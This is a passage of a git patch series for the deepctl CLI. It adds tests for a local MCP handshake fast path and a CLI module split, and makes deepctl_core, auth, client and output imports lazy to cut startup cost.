+    assert proc.returncode == 0, proc.stderr[-2000:]
+    forbidden = GATES_IMPORTS["forbidden"]["version"] + UNIT_ONLY_FORBIDDEN["version"]
+    assert _forbidden_hits(modules, forbidden) == []
+    assert _allowlist_violations(modules) == []
+    assert "click" not in modules
+    assert "deepctl_core" not in modules
+
+
+def test_mcp_handshake_imports(tmp_path: Path) -> None:
+    session = b"".join((json.dumps(m) + "\n").encode() for m in MCP_SESSION)
+    proc, modules = _imports(["mcp"], tmp_path, stdin=session)
+    # stdin EOF before any hand-off: exit 0.
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    replies = [json.loads(line) for line in proc.stdout.splitlines()]
+    assert [r["id"] for r in replies] == [0, 1, 2]
+    assert replies[0]["error"]["code"] == -32601
+    assert replies[2]["result"]["tools"]
+    assert _forbidden_hits(modules, UNIT_ONLY_FORBIDDEN["mcp"]) == []
+    assert _allowlist_violations(modules) == []
+    assert "click" not in modules
+    assert "deepctl_core" not in modules
+
+
+def test_full_path_still_loads_click(tmp_path: Path) -> None:
+    """Anything but the two fast paths runs the Click CLI."""
+    proc, modules = _imports(["--version", "--quiet"], tmp_path)
+    assert proc.returncode == 0, proc.stderr[-2000:]
+    assert "click" in modules
+    assert proc.stdout.decode().startswith("deepctl, version ")
diff --git a/tests/unit/test_install_hook.py b/tests/unit/test_install_hook.py
index 4f53fec8..dde701a6 100644
--- a/tests/unit/test_install_hook.py
+++ b/tests/unit/test_install_hook.py
@@ -11,7 +11,7 @@
 
 def test_record_install_method_exits_1_when_save_fails():
     # Imported here so the CLI module is already set up by the other tests.
-    main_module = importlib.import_module("deepctl.main")
+    main_module = importlib.import_module("deepctl._cli")
 
     ctx = MagicMock(resilient_parsing=False)
     with (
@@ -25,7 +25,7 @@ def test_record_install_method_exits_1_when_save_fails():
 
 
 def test_record_install_method_success_exits_via_ctx():
-    main_module = importlib.import_module("deepctl.main")
+    main_module = importlib.import_module("deepctl._cli")
 
     ctx = MagicMock(resilient_parsing=False)
     with patch.object(main_module, "Config"):
diff --git a/tests/unit/test_main.py b/tests/unit/test_main.py
index e1e51326..8c1fba60 100644
--- a/tests/unit/test_main.py
+++ b/tests/unit/test_main.py
@@ -15,6 +15,16 @@
     mock_pm.load_plugins = MagicMock()
     from deepctl.main import cli, load_commands
 
+# The Click CLI and run() live in deepctl._cli; deepctl.main is the light entry
+# point that imports it on the full path. Patch names there.
+import deepctl._cli as _cli_mod
+
+
+@pytest.fixture
+def reload_commands(monkeypatch):
+    """load_commands() runs once per process; let a test run it again."""
+    monkeypatch.setattr(_cli_mod, "_commands_loaded", False)
+
 
 class TestMainCLI:
     """Test suite for main CLI functionality."""
@@ -63,7 +73,7 @@ def test_cli_with_invalid_output_format(self, runner):
         assert "Invalid value" in result.output
 
     @patch("deepctl_core.PluginManager")
-    def test_load_commands_success(self, mock_plugin_manager_class):
+    def test_load_commands_success(self, mock_plugin_manager_class, reload_commands):
         """Test successful command loading from entry points."""
         # Mock the plugin manager instance
         mock_plugin_manager = Mock()
@@ -78,7 +88,9 @@ def test_load_commands_success(self, mock_plugin_manager_class):
 
     @patch("deepctl_core.plugin_manager.console")
     @patch("deepctl_core.plugin_manager.metadata.entry_points")
-    def test_load_commands_error_handling(self, mock_entry_points, mock_console):
+    def test_load_commands_error_handling(
+        self, mock_entry_points, mock_console, reload_commands
+    ):
         """Test error handling during command loading."""
         # Mock entry point that raises error
         mock_entry_point = Mock()
@@ -117,13 +129,11 @@ def test_main_keyboard_interrupt(self):
         """Test main() handles KeyboardInterrupt."""
         from deepctl.main import main
 
-        # Patch the module-global `cli` that main() calls, going through
-        # sys.modules because deepctl/__init__ re-exports the `main` function
-        # as `deepctl.main`, shadowing the submodule attribute. (Patching the
-        # instance's __call__ is inert: dunder lookup bypasses instance
-        # attributes, so the old patch.object(cli, "__call__", ...) form
-        # exercised the bare-`dg` help path instead.)
-        main_mod = sys.modules["deepctl.main"]
+        # Patch the module-global `cli` that run() calls, in deepctl._cli.
+        # (Patching the instance's __call__ is inert: dunder lookup bypasses
+        # instance attributes, so the old patch.object(cli, "__call__", ...)
+        # form exercised the bare-`dg` help path instead.)
+        main_mod = _cli_mod
         with patch("sys.argv", ["deepctl"]):
             with patch.object(main_mod, "cli", side_effect=KeyboardInterrupt()):
                 with pytest.raises(SystemExit) as exc_info:
@@ -144,7 +154,7 @@ def test_main_click_abort(self):
 
         from deepctl.main import main
 
-        main_mod = sys.modules["deepctl.main"]
+        main_mod = _cli_mod
         with patch("sys.argv", ["deepctl"]):
             with patch.object(
                 main_mod, "cli", side_effect=click.exceptions.Abort()
@@ -158,7 +168,7 @@ def test_main_general_exception(self):
         """Test main() handles general exceptions."""
         from deepctl.main import main
 
-        main_mod = sys.modules["deepctl.main"]
+        main_mod = _cli_mod
         with patch("sys.argv", ["deepctl"]):
             with patch.object(main_mod, "cli", side_effect=Exception("Test error")):
                 with pytest.raises(SystemExit) as exc_info:
@@ -215,7 +225,7 @@ def test_interrupt_message_goes_to_stderr(self, capsys):
 
         from deepctl.main import main
 
-        main_mod = sys.modules["deepctl.main"]
+        main_mod = _cli_mod
         with patch("sys.argv", ["deepctl"]):
             with patch.object(
                 main_mod, "cli", side_effect=click.exceptions.Abort()
@@ -247,9 +257,7 @@ class TestSafeConsolePrint:
     )
     def test_swallows_closed_stream(self, error):
         """A broken console does not raise out of _safe_console_print."""
-        # deepctl/__init__ re-exports the `main` function as `deepctl.main`,
-        # shadowing the submodule attribute — fetch the real module directly.
-        main_mod = sys.modules["deepctl.main"]
+        main_mod = _cli_mod
 
         with patch.object(main_mod.console, "print", side_effect=error):
             # Must not raise.
@@ -261,7 +269,9 @@ def test_main_survives_broken_console_on_error(self):
         main() must still exit(1) cleanly rather than let rich's ValueError
         escape to the excepthook.
         """
-        main_mod = sys.modules["deepctl.main"]
+        from deepctl.main import main
+
+        main_mod = _cli_mod
 
         with (
             patch("sys.argv", ["deepctl"]),
@@ -273,7 +283,7 @@ def test_main_survives_broken_console_on_error(self):
             ),
             pytest.raises(SystemExit) as exc_info,
         ):
-            main_mod.main()
+            main()
 
         assert exc_info.value.code == 1
 
@@ -339,10 +349,16 @@ def test_usage_error_without_hint_keeps_contract(self, capsys):
 
 
 class TestRichTraceback:
-    """The rich excepthook installed at import doesn't render frame locals."""
+    """An uncaught exception gets a rich traceback, without frame locals.
 
-    def test_excepthook_does_not_render_locals(self, capsys):
-        assert sys.excepthook.__module__ == "rich.traceback"
+    main() installs a stdlib excepthook on the full path; rich loads only
+    when an exception reaches it, and it never renders locals.
+    """
+
+    def test_excepthook_does_not_render_locals(self, capsys, monkeypatch):
+        from deepctl.main import _rich_excepthook
+
+        monkeypatch.setattr(sys, "excepthook", _rich_excepthook)
         # Built at runtime so the source-context lines rich prints can't
         # contain it; only a rendered local variable could.
         sentinel = "-".join(["LOCALS", "SENTINEL", "KEY"])
@@ -358,7 +374,10 @@ def crash() -> None:
 
         captured = capsys.readouterr()
         assert "RuntimeError" in captured.err
+        assert "Traceback" in captured.err
         assert sentinel not in captured.err
+        # Rich's hook replaced the lazy one, so later errors skip the import.
+        assert sys.excepthook.__module__ == "rich.traceback"
 
 
 class TestHyphenatedCommands:
diff --git a/tests/unit/test_mcp_fast.py b/tests/unit/test_mcp_fast.py
new file mode 100644
index 00000000..86ab451f
--- /dev/null
+++ b/tests/unit/test_mcp_fast.py
@@ -0,0 +1,251 @@
+"""``dg mcp``'s fast path: the handshake answered locally."""
+
+from __future__ import annotations
+
+import io
+import json
+import sys
+import types
+from typing import Any
+
+import pytest
+
+from deepctl import __version__
+from deepctl.mcp import _fast
+
+
+def _session(*messages: Any) -> io.BytesIO:
+    return io.BytesIO(
+        b"".join(
+            (m if isinstance(m, bytes) else json.dumps(m).encode()) + b"\n"
+            for m in messages
+        )
+    )
+
+
+def _replies(out: io.BytesIO) -> list[dict[str, Any]]:
+    lines = out.getvalue().splitlines()
+    replies = [json.loads(line) for line in lines]
+    assert all(r["jsonrpc"] == "2.0" for r in replies)
+    return replies
+
+
+def _init(version: str = "2025-06-18", msg_id: Any = 1) -> dict[str, Any]:
+    return {
+        "jsonrpc": "2.0",
+        "id": msg_id,
+        "method": "initialize",
+        "params": {
+            "protocolVersion": version,
+            "capabilities": {},
+            "clientInfo": {"name": "t", "version": "1"},
+        },
+    }
+
+
+INITIALIZED = {"jsonrpc": "2.0", "method": "notifications/initialized"}
+CALL = {
+    "jsonrpc": "2.0",
+    "id": 3,
+    "method": "tools/call",
+    "params": {
+        "name": "search_deepgram_knowledge_sources",
+        "arguments": {"query": "x"},
+    },
+}
+
+
+@pytest.fixture
+def handoff(monkeypatch: pytest.MonkeyPatch) -> list[tuple[Any, ...]]:
+    """Replace deepctl_cmd_mcp with a stub recording the hand-off."""
+    calls: list[tuple[Any, ...]] = []
+    stub = types.ModuleType("deepctl_cmd_mcp")
+
+    def serve_after_handshake(params: Any, message: Any, inp: Any, out: Any) -> int:
+        calls.append((params, message, inp.read()))
+        return 7
+
+    stub.serve_after_handshake = serve_after_handshake  # type: ignore[attr-defined]
+    monkeypatch.setitem(sys.modules, "deepctl_cmd_mcp", stub)
+    return calls
+
+
+def test_handshake_and_tools_list_then_eof() -> None:
+    out = io.BytesIO()
+    inp = _session(
+        _init(),
+        INITIALIZED,
+        {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}},
+        {"jsonrpc": "2.0", "id": "p", "method": "ping"},
+    )
+    assert _fast.serve(inp, out) == 0
+    init, tools, ping = _replies(out)
+    assert init["id"] == 1
+    result = init["result"]
+    assert result["protocolVersion"] == "2025-06-18"
+    assert result["serverInfo"] == {"name": "deepgram-mcp", "version": __version__}
+    assert result["instructions"] == _fast.INSTRUCTIONS
+    assert result["capabilities"] == {"tools": {"listChanged": False}}
+    assert tools == {"jsonrpc": "2.0", "id": 2, "result": {"tools": _fast.TOOLS}}
+    assert ping == {"jsonrpc": "2.0", "id": "p", "result": {}}
+
+
+@pytest.mark.parametrize(
+    ("asked", "answered"),
+    [
+        ("2024-11-05", "2024-11-05"),
+        ("2025-11-25", "2025-11-25"),
+        ("2099-01-01", _fast.LATEST_PROTOCOL_VERSION),
+    ],
+)
+def test_protocol_version_negotiation(asked: str, answered: str) -> None:
+    out = io.BytesIO()
+    _fast.serve(_session(_init(asked)), out)
+    assert _replies(out)[0]["result"]["protocolVersion"] == answered
+
+
+def test_supported_versions_match_the_proxy() -> None:
+    """The replayed initialize must negotiate the same version upstream."""
+    shared = pytest.importorskip("mcp.shared.version")
+    assert set(_fast.SUPPORTED_PROTOCOL_VERSIONS) == set(
+        shared.SUPPORTED_PROTOCOL_VERSIONS
+    )
+    import mcp.types
+
+    assert _fast.LATEST_PROTOCOL_VERSION == mcp.types.LATEST_PROTOCOL_VERSION
+
+
+def test_bad_lines_get_json_rpc_errors() -> None:
+    out = io.BytesIO()
+    inp = _session(b"not json", b"[1, 2]", b"", _init())
+    assert _fast.serve(inp, out) == 0
+    parse, invalid, init = _replies(out)
+    assert parse["error"]["code"] == -32700 and parse["id"] is None
+    assert invalid["error"]["code"] == -32600
+    assert init["id"] == 1
+
+
+def test_first_call_hands_off_with_the_rest_of_stdin(
+    handoff: list[tuple[Any, ...]],
+) -> None:
+    out = io.BytesIO()
+    later = {"jsonrpc": "2.0", "id": 9, "method": "ping"}
+    code = _fast.serve(_session(_init(), INITIALIZED, CALL, later), out)
+    assert code == 7
+    [(params, message, rest)] = handoff
+    assert params == _init()["params"]
+    assert message == CALL
+    assert json.loads(rest) == later
+    assert [r["id"] for r in _replies(out)] == [1]
+
+
+def test_failed_hand_off_answers_and_keeps_serving(
+    monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+) -> None:
+    stub = types.ModuleType("deepctl_cmd_mcp")
+    text = "dg mcp couldn't reach Deepgram's documentation search: no network"
+
+    def serve_after_handshake(*args: Any) -> int:
+        raise RuntimeError(text)
+
+    stub.serve_after_handshake = serve_after_handshake  # type: ignore[attr-defined]
+    monkeypatch.setitem(sys.modules, "deepctl_cmd_mcp", stub)
+    out = io.BytesIO()
+    ping = {"jsonrpc": "2.0", "id": 5, "method": "ping"}
+    assert _fast.serve(_session(_init(), CALL, ping), out) == 0
+    _, call, pong = _replies(out)
+    # The adapter's text reaches the model unchanged, as a tool error.
+    assert call["result"] == {
+        "content": [{"type": "text", "text": text}],
+        "isError": True,
+    }
+    assert pong["result"] == {}
+    assert capsys.readouterr().err.splitlines() == [f"ERROR: {text}"]
+
+
+@pytest.mark.parametrize(
+    "method", ["server/discover", "resources/list", "prompts/list", "no/such"]
+)
+def test_other_methods_are_answered_locally_without_hand_off(
+    handoff: list[tuple[Any, ...]], method: str
+) -> None:
+    """Only tools/call is handed off: nothing else may cause a connection."""
+    out = io.BytesIO()
+    request = {"jsonrpc": "2.0", "id": 7, "method": method, "params": {}}
+    assert _fast.serve(_session(request, _init(), request), out) == 0
+    before, _init_reply, after = _replies(out)
+    for reply in (before, after):
+        assert reply["id"] == 7
+        assert reply["error"]["code"] == -32601
+    assert handoff == []
+
+
+def test_discover_first_then_legacy_handshake(handoff: list[tuple[Any, ...]]) -> None:
+    """mcp 2.x clients probe server/discover first, then fall back to initialize."""
+    out = io.BytesIO()
+    discover = {"jsonrpc": "2.0", "id": 0, "method": "server/discover", "params": {}}
+    inp = _session(
+        discover,
+        _init("2025-11-25", msg_id=1),
+        INITIALIZED,
+        {"jsonrpc": "2.0", "id": 2, "method": "tools/list"},
+    )
+    assert _fast.serve(inp, out) == 0
+    disc, init, tools = _replies(out)
+    assert disc["error"]["code"] == -32601
+    assert init["result"]["instructions"] == _fast.INSTRUCTIONS
+    assert init["result"]["serverInfo"]["name"] == "deepgram-mcp"
+    assert tools["result"]["tools"] == _fast.TOOLS
+    assert handoff == []
+
+
+def test_tools_call_before_initialize_is_refused_locally(
+    handoff: list[tuple[Any, ...]],
+) -> None:
+    out = io.BytesIO()
+    assert _fast.serve(_session(CALL, _init(), CALL), out) == 7
+    early, _init_reply = _replies(out)
+    assert early["id"] == 3 and early["error"]["code"] == -32600
+    [(params, message, _rest)] = handoff
+    assert params == _init()["params"] and message == CALL
+
+
+def test_missing_proxy_package_is_a_local_error(
+    monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+) -> None:
+    monkeypatch.setitem(sys.modules, "deepctl_cmd_mcp", None)
+    out = io.BytesIO()
+    assert _fast.serve(_session(_init(), CALL), out) == 0
+    text = _replies(out)[1]["result"]["content"][0]["text"]
+    assert text.startswith("dg mcp can't start the documentation search: ")
+
+
+def test_unexpected_exception_answers_the_request_and_exits_1(
+    monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+) -> None:
+    def broken(params: Any) -> Any:
+        raise ValueError("bug")
+
+    monkeypatch.setattr(_fast, "_initialize_result", broken)
+    out = io.BytesIO()
+    assert _fast.serve(_session(_init(msg_id=42)), out) == 1
+    [reply] = _replies(out)
+    assert reply["id"] == 42 and reply["error"]["code"] == -32603
+    err = capsys.readouterr().err.splitlines()
+    assert err == ["ERROR: dg mcp stopped: bug"]
+
+
+def test_client_responses_and_notifications_get_no_reply() -> None:
+    out = io.BytesIO()
+    inp = _session(
+        {"jsonrpc": "2.0", "id": 1, "result": {}},
+        {"jsonrpc": "2.0", "method": "notifications/cancelled", "params": {}},
+    )
+    assert _fast.serve(inp, out) == 0
+    assert out.getvalue() == b""
+
+
+def test_tool_table_shape() -> None:
+    for tool in _fast.TOOLS:
+        assert set(tool) >= {"name", "description", "inputSchema"}
+        assert tool["inputSchema"]["type"] == "object"
diff --git a/tests/unit/test_telemetry_wiring.py b/tests/unit/test_telemetry_wiring.py
index 6b429635..bf9da41b 100644
--- a/tests/unit/test_telemetry_wiring.py
+++ b/tests/unit/test_telemetry_wiring.py
@@ -121,12 +121,21 @@ def mode_cmd(ctx: click.Context, mode: str) -> None:
 def _run_main(argv: list[str]) -> int:
     from deepctl.main import main
 
-    with patch("sys.argv", argv):
-        try:
-            main()
-        except SystemExit as exc:
-            return exc.code if isinstance(exc.code, int) else 0
-    return 0
+    # main() blocks httpx's CLI module; don't leave that to later tests.
+    missing = object()
+    saved = sys.modules.get("httpx._main", missing)
+    try:
+        with patch("sys.argv", argv):
+            try:
+                main()
+            except SystemExit as exc:
+                return exc.code if isinstance(exc.code, int) else 0
+        return 0
+    finally:
+        if saved is missing:
+            sys.modules.pop("httpx._main", None)
+        else:
+            sys.modules["httpx._main"] = saved  # type: ignore[assignment]
 
 
 def _opt_out_config(tmp_path: Path) -> str:

From 1ccf4a009f4d75b1d563b8a6fd60c02834867028 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 07:37:34 -0400
Subject: [PATCH 03/88] perf(core): import deepctl_core names lazily

deepctl_core/__init__ maps each public name to its submodule through a
PEP 562 __getattr__, so `import deepctl_core` imports nothing else and
`from deepctl_core import Config` imports only config. A TYPE_CHECKING
block keeps the names visible to mypy, pyright and griffe, __dir__ lists
them, `from deepctl_core import *` still resolves all of __all__ (which
is unchanged), and submodules stay reachable as attributes. The module
__getattr__ hooks exist only at run time, so type checkers flag a
misspelled name instead of typing it Any.

Import moves only, no logic changes:

- client.py: the Deepgram SDK loads on first use (_sdk() binds DGClient,
  DeepgramClientEnvironment and ApiError; a module __getattr__ keeps
  patch("deepctl_core.client.DGClient") working).
- auth.py: httpx and keyring load when the first AuthManager is built,
  and `deepctl_core.auth.keyring` is still the real module, so patches
  of it behave as before; PasswordDeleteError and rich.progress move
  into the functions that use them.
- output.py: console and stderr_console are built, and rich imported, on
  first use; rich renderables are imported where they are rendered.

With the httpx CLI guard in main(), `dg --help` no longer loads
pygments.
---
 .../deepctl-core/src/deepctl_core/__init__.py | 171 +++++++++++++----
 .../deepctl-core/src/deepctl_core/auth.py     |  52 ++++-
 .../deepctl-core/src/deepctl_core/client.py   |  47 ++++-
 .../deepctl-core/src/deepctl_core/output.py   |  95 ++++++++--
 .../tests/unit/test_core_all_resolves.py      | 178 ++++++++++++++++++
 tests/unit/test_entry_point.py                |   7 +-
 6 files changed, 485 insertions(+), 65 deletions(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_core_all_resolves.py

diff --git a/packages/deepctl-core/src/deepctl_core/__init__.py b/packages/deepctl-core/src/deepctl_core/__init__.py
index 86e59e60..7ac04113 100644
--- a/packages/deepctl-core/src/deepctl_core/__init__.py
+++ b/packages/deepctl-core/src/deepctl_core/__init__.py
@@ -1,41 +1,116 @@
-"""Core components for deepctl."""
+"""Core components for deepctl.
 
-from .auth import AuthenticationError, AuthManager
-from .base_command import BaseCommand
-from .base_group_command import BaseGroupCommand
-from .client import DeepgramClient
-from .config import Config
-from .hosts import CredentialHostError
-from .models import (
-    BaseResult,
-    CodedErrorResult,
-    ErrorResult,
-    PluginInfo,
-    ProfileInfo,
-    ProfilesResult,
-)
-from .output import (
-    OutputFormatter,
-    get_console,
-    get_output_format,
-    get_status_console,
-    is_agentic,
-    is_ai_agent,
-    print_error,
-    print_info,
-    print_output,
-    print_success,
-    print_warning,
-    setup_output,
-    update_output,
-)
-from .plugin_manager import PluginManager
-from .timing import (
-    TimingContext,
-    enable_timing,
-    get_timing_summary,
-    is_timing_enabled,
-    print_timing_summary,
+The public names below load lazily (PEP 562): ``import deepctl_core`` costs
+almost nothing, and ``from deepctl_core import Config`` imports only the
+submodule that defines ``Config``. ``from deepctl_core import *`` still
+resolves every name in ``__all__``, and the ``TYPE_CHECKING`` block gives
+type checkers and documentation tools the same names as eager imports.
+Submodules (``deepctl_core.config``, ``deepctl_core.output``, ...) can be
+reached as attributes too.
+"""
+
+from __future__ import annotations
+
+import importlib
+from typing import TYPE_CHECKING, Any
+
+if TYPE_CHECKING:
+    from .auth import AuthenticationError, AuthManager
+    from .base_command import BaseCommand
+    from .base_group_command import BaseGroupCommand
+    from .client import DeepgramClient
+    from .config import Config
+    from .hosts import CredentialHostError
+    from .models import (
+        BaseResult,
+        CodedErrorResult,
+        ErrorResult,
+        PluginInfo,
+        ProfileInfo,
+        ProfilesResult,
+    )
+    from .output import (
+        OutputFormatter,
+        get_console,
+        get_output_format,
+        get_status_console,
+        is_agentic,
+        is_ai_agent,
+        print_error,
+        print_info,
+        print_output,
+        print_success,
+        print_warning,
+        setup_output,
+        update_output,
+    )
+    from .plugin_manager import PluginManager
+    from .timing import (
+        TimingContext,
+        enable_timing,
+        get_timing_summary,
+        is_timing_enabled,
+        print_timing_summary,
+    )
+
+# Public name -> the submodule that defines it.
+_LAZY_NAMES: dict[str, str] = {
+    "AuthManager": "auth",
+    "AuthenticationError": "auth",
+    "BaseCommand": "base_command",
+    "BaseGroupCommand": "base_group_command",
+    "BaseResult": "models",
+    "CodedErrorResult": "models",
+    "Config": "config",
+    "CredentialHostError": "hosts",
+    "DeepgramClient": "client",
+    "ErrorResult": "models",
+    "OutputFormatter": "output",
+    "PluginInfo": "models",
+    "PluginManager": "plugin_manager",
+    "ProfileInfo": "models",
+    "ProfilesResult": "models",
+    "TimingContext": "timing",
+    "enable_timing": "timing",
+    "get_console": "output",
+    "get_output_format": "output",
+    "get_status_console": "output",
+    "get_timing_summary": "timing",
+    "is_agentic": "output",
+    "is_ai_agent": "output",
+    "is_timing_enabled": "timing",
+    "print_error": "output",
+    "print_info": "output",
+    "print_output": "output",
+    "print_success": "output",
+    "print_timing_summary": "timing",
+    "print_warning": "output",
+    "setup_output": "output",
+    "update_output": "output",
+}
+
+# Submodules reachable as attributes before anything imported them, as they
+# were when this package imported them all eagerly.
+_SUBMODULES = frozenset(
+    {
+        "auth",
+        "base_command",
+        "base_group_command",
+        "client",
+        "config",
+        "hosts",
+        "messages",
+        "models",
+        "output",
+        "plugin_env",
+        "plugin_manager",
+        "safe_text",
+        "skill_bundle",
+        "skill_generator",
+        "telemetry_context",
+        "timing",
+        "tools",
+    }
 )
 
 __all__ = [
@@ -72,3 +147,25 @@
     "setup_output",
     "update_output",
 ]
+
+
+# Only at run time: type checkers see the TYPE_CHECKING imports above and
+# flag a misspelled name instead of typing it Any.
+if not TYPE_CHECKING:
+
+    def __getattr__(name: str) -> Any:
+        """Import a public name's submodule on first use (PEP 562)."""
+        submodule = _LAZY_NAMES.get(name)
+        if submodule is not None:
+            value = getattr(importlib.import_module(f".{submodule}", __name__), name)
+        elif name in _SUBMODULES:
+            value = importlib.import_module(f".{name}", __name__)
+        else:
+            raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+        # Cache it, so the next lookup is a plain attribute (and mock.patch works).
+        globals()[name] = value
+        return value
+
+
+def __dir__() -> list[str]:
+    return sorted(set(globals()) | set(__all__) | _SUBMODULES)
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 2259798b..f9d3c7ff 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -4,14 +4,10 @@
 import time
 import webbrowser
 from datetime import datetime, timedelta, timezone
+from typing import TYPE_CHECKING, Any
 from urllib.parse import urlencode
 
-import httpx
-import keyring
-from keyring.errors import PasswordDeleteError
 from pydantic import BaseModel
-from rich.markup import escape
-from rich.progress import Progress, SpinnerColumn, TextColumn
 
 from . import hosts, output
 from . import messages as msg
@@ -21,6 +17,41 @@
 from .models import ProfileInfo, ProfilesResult
 from .output import stderr_console
 
+if TYPE_CHECKING:
+    # Bound at run time by _load_modules() below, not by these imports.
+    import httpx  # noqa: TC004
+    import keyring  # noqa: TC004
+
+# httpx and keyring load when the first AuthManager is built, not when this
+# module is imported (every command module imports it). _load_modules()
+# binds them as module globals; __getattr__ makes `deepctl_core.auth.keyring`
+# the real module before that, so tests can patch it as before.
+_LAZY_MODULES = ("httpx", "keyring")
+
+
+def _bind_module(name: str) -> Any:
+    import importlib
+
+    module = importlib.import_module(name)
+    globals()[name] = module
+    return module
+
+
+# Only at run time: type checkers see the TYPE_CHECKING imports above.
+if not TYPE_CHECKING:
+
+    def __getattr__(name: str) -> Any:
+        if name not in _LAZY_MODULES:
+            raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+        return _bind_module(name)
+
+
+def _load_modules() -> None:
+    for name in _LAZY_MODULES:
+        if name not in globals():
+            _bind_module(name)
+
+
 # Diagnostics only: everything printed here is status or error chrome, so
 # it goes to stderr and can never corrupt the machine-readable payload a
 # command writes to stdout. See get_status_console() in output.py.
@@ -78,7 +109,7 @@ def _insecure_allowed() -> bool:
 _INSECURE_HOSTS = ("localhost", "127.0.0.1", "::1")
 
 
-def _insecure_mounts() -> dict[str, httpx.BaseTransport]:
+def _insecure_mounts() -> "dict[str, httpx.BaseTransport]":
     """Unverified transports for the loopback hosts only.
 
     Host-specific mounts take precedence over the scheme-wide proxy mounts
@@ -92,8 +123,10 @@ def _insecure_mounts() -> dict[str, httpx.BaseTransport]:
     }
 
 
-def _warn_if_verified(request: httpx.Request) -> None:
+def _warn_if_verified(request: "httpx.Request") -> None:
     """Say once per host that DEEPGRAM_CLI_INSECURE did not apply to it."""
+    from rich.markup import escape
+
     host = request.url.host
     if host in _INSECURE_HOSTS:
         return
@@ -126,6 +159,7 @@ def __init__(
             explicit_api_key: Explicitly provided API key (e.g., from CLI flags)
             explicit_project_id: Explicitly provided project ID (e.g., from CLI flags)
         """
+        _load_modules()
         self.config = config
         self.explicit_api_key = explicit_api_key
         self.explicit_project_id = explicit_project_id
@@ -289,6 +323,8 @@ def _credential_expiry(self, profile_name: str) -> tuple[bool, str | None]:
 
     def _delete_keyring_credential(self, keyring_key: str) -> None:
         """Remove a credential when present without masking keyring failures."""
+        from keyring.errors import PasswordDeleteError
+
         try:
             keyring.delete_password(KEYRING_SERVICE, keyring_key)
         except PasswordDeleteError:
@@ -708,6 +744,8 @@ def _poll_for_token(
         base = identity_url or check_identity_host(self.config)
         poll_url = f"{base}/device/token?{urlencode(query_params)}"
 
+        from rich.progress import Progress, SpinnerColumn, TextColumn
+
         with Progress(
             SpinnerColumn(),
             TextColumn("[progress.description]{task.description}"),
diff --git a/packages/deepctl-core/src/deepctl_core/client.py b/packages/deepctl-core/src/deepctl_core/client.py
index f94cc8d3..aeec1f37 100644
--- a/packages/deepctl-core/src/deepctl_core/client.py
+++ b/packages/deepctl-core/src/deepctl_core/client.py
@@ -7,10 +7,6 @@
 from typing import TYPE_CHECKING, Any, cast
 from urllib.parse import urlencode
 
-from deepgram import DeepgramClient as DGClient
-from deepgram import DeepgramClientEnvironment
-from deepgram.core.api_error import ApiError
-
 from .hosts import DEFAULT_BASE_URL
 from .output import stderr_console
 
@@ -18,9 +14,50 @@
     from collections.abc import Iterator
     from datetime import datetime
 
+    # Bound at run time by _sdk() below, not by these imports.
+    from deepgram import DeepgramClient as DGClient  # noqa: TC004
+    from deepgram import DeepgramClientEnvironment  # noqa: TC004
+    from deepgram.core.api_error import ApiError  # noqa: TC004
+
     from .auth import AuthManager
     from .config import Config
 
+# The Deepgram SDK loads on first use, not when this module is imported (it
+# pulls in httpx and pydantic models for every API). _sdk() binds these
+# module globals; __getattr__ lets `deepctl_core.client.DGClient` (and
+# mock.patch of it) work before anything here has used the SDK.
+_SDK_NAMES: dict[str, tuple[str, str]] = {
+    "ApiError": ("deepgram.core.api_error", "ApiError"),
+    "DGClient": ("deepgram", "DeepgramClient"),
+    "DeepgramClientEnvironment": ("deepgram", "DeepgramClientEnvironment"),
+}
+
+
+def _bind_sdk_name(name: str) -> Any:
+    module, attr = _SDK_NAMES[name]
+    import importlib
+
+    value = getattr(importlib.import_module(module), attr)
+    globals()[name] = value
+    return value
+
+
+# Only at run time: type checkers see the TYPE_CHECKING imports above.
+if not TYPE_CHECKING:
+
+    def __getattr__(name: str) -> Any:
+        if name not in _SDK_NAMES:
+            raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+        return _bind_sdk_name(name)
+
+
+def _sdk(*names: str) -> None:
+    """Bind SDK names that aren't bound yet (all of them by default)."""
+    for name in names or tuple(_SDK_NAMES):
+        if name not in globals():
+            _bind_sdk_name(name)
+
+
 # Diagnostics only: everything printed here is status or error chrome, so
 # it goes to stderr and can never corrupt the machine-readable payload a
 # command writes to stdout. See get_status_console() in output.py.
@@ -47,6 +84,7 @@ class DeepgramClient:
     """Wrapper around Deepgram SDK with authentication integration."""
 
     def __init__(self, config: Config, auth_manager: AuthManager):
+        _sdk("ApiError")  # raised before the client exists, too
         self.config = config
         self.auth_manager = auth_manager
         self._client: DGClient | None = None
@@ -73,6 +111,7 @@ def _resolve_project_id(self, project_id: str | None = None) -> str:
 
     def _create_client(self) -> DGClient:
         """Create authenticated Deepgram client."""
+        _sdk()
         self.auth_manager.guard()
         api_key = self.auth_manager.get_api_key()
         project_id = self.auth_manager.get_project_id()
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index cc9f7d1e..c2487a81 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -1,24 +1,18 @@
 """Output formatting utilities for deepctl."""
 
+from __future__ import annotations
+
 import json
 import os
 import sys
 from io import StringIO
-from typing import Any
+from typing import TYPE_CHECKING, Any, cast
 
 import yaml
-from rich.console import Console
-from rich.json import JSON
-from rich.panel import Panel
-from rich.progress import (
-    BarColumn,
-    Progress,
-    SpinnerColumn,
-    TaskProgressColumn,
-    TextColumn,
-)
-from rich.syntax import Syntax
-from rich.table import Table
+
+if TYPE_CHECKING:
+    from rich.console import Console
+    from rich.progress import Progress
 
 # ── Agentic / non-TTY detection ──────────────────────────────────
 
@@ -99,9 +93,58 @@ def is_ai_agent() -> bool:
 
